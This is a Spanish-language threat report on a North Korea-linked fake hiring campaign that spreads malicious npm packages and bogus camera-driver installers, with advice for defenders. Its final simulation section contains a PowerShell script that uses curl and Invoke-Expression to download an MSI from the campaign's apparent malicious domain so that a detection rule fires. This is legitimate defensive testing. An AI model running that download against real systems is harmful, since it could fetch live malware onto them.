Campaña de Reclutamiento Falso Utiliza Paquetes npm para Apuntar a Desarrolladores

Resumen

Un actor de amenaza sofisticado vinculado a Corea del Norte está utilizando procesos de reclutamiento falsos para comprometer a los desarrolladores. La campaña sigue una cadena de infección de múltiples etapas que involucra empresas fraudulentas, paquetes npm envenenados e instaladores maliciosos de «controladores de cámara». Al abusar de plataformas profesionales confiables como LinkedIn y GitHub, los atacantes aumentan su credibilidad y reducen las sospechas durante el compromiso inicial.

Investigación

La investigación de seguridad de JFrog rastreó la campaña desde un único paquete malicioso de npm hasta una empresa ficticia completamente desarrollada llamada AccuraSoftHire. Los investigadores descubrieron una infraestructura coordinada que involucraba perfiles falsos de LinkedIn, un convincente sitio web de carreras y varias cuentas desechables de npm. El análisis técnico conectó personajes de reclutadores, autores de proyectos de GitHub y editores de paquetes npm a través de direcciones de correo electrónico compartidas y marcadores de código recurrentes.

Mitigación

Los desarrolladores deben tratar las tareas de codificación para hacer en casa como código no confiable y ejecutarlas solo dentro de máquinas virtuales o contenedores aislados y desechables. Evite ejecutar comandos de instalación proporcionados a través de navegadores, especialmente aquellos que usan curl o PowerShell. Las organizaciones deben fortalecer la seguridad de la cadena de suministro de software auditando los archivos de bloqueo de dependencias y monitoreando actualizaciones de paquetes inesperadas o no autorizadas.

Respuesta

Cuando se detectan paquetes npm sospechosos o cambios no autorizados en tareas de VS Code, aísle inmediatamente la estación de trabajo afectada. Realice un análisis forense de las descargas recientes, la actividad del navegador y los comandos ejecutados. Verifique la existencia de tareas programadas no autorizadas o nuevas entradas de registro asociadas con hosts de mensajería nativa de Chrome. Revise las credenciales de desarrolladores y las sesiones activas para reducir el riesgo de secuestro de sesión.

Ejecución de Simulación

Prerequisito: el chequeo previo de telemetría y línea base debe haber pasado.

Rationale: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTPs identificados y están destinados a generar la telemetría exacta esperada por la lógica de detección. Los ejemplos abstractos o no relacionados llevarán a un diagnóstico incorrecto.

• Narrativa de Ataque y Comandos: El adversario busca establecer persistencia haciéndose pasar por una actualización del sistema. Tras un cebo exitoso de ingeniería social, el atacador ejecuta un curl comando para descargar un archivo MSI malicioso, nombrándolo CameraDriverUpdate.msi para integrarse con el ruido del sistema. Inmediatamente después, el atacante ejecuta node -e ""—una técnica utilizada para probar el entorno o prepararse para cargas de JavaScript más complejas y ofuscadas que evaden detecciones simples. La combinación de una descarga temática de controlador específica y una ejecución de nodo vacía es el principal desencadenante para la regla de detección.

• Script de Prueba de Regresión:

  # Script de simulación para activar la regla de detección.
  # Este script imita las cadenas específicas identificadas en la regla Sigma.
  
  $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win"
  $FileName = "CameraDriverUpdate.msi"
  $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`""
  
  Write-Host "[+] Ejecutando comando malicioso de curl..." -ForegroundColor Yellow
  Invoke-Expression $FullCurlCmd
  
  Write-Host "[+] Ejecutando comando de nodo vacío..." -ForegroundColor Yellow
  node -e ""
  
  Write-Host "[+] Simulación completa. Verifique SIEM para la Alerta." -ForegroundColor Green

• Comandos de Limpieza:

  # Script de limpieza para eliminar artefactos creados durante la simulación.
  if (Test-Path "CameraDriverUpdate.msi") {
      Remove-Item "CameraDriverUpdate.msi" -Force
      Write-Host "[+] Artefacto MSI malicioso eliminado." -ForegroundColor Cyan
  }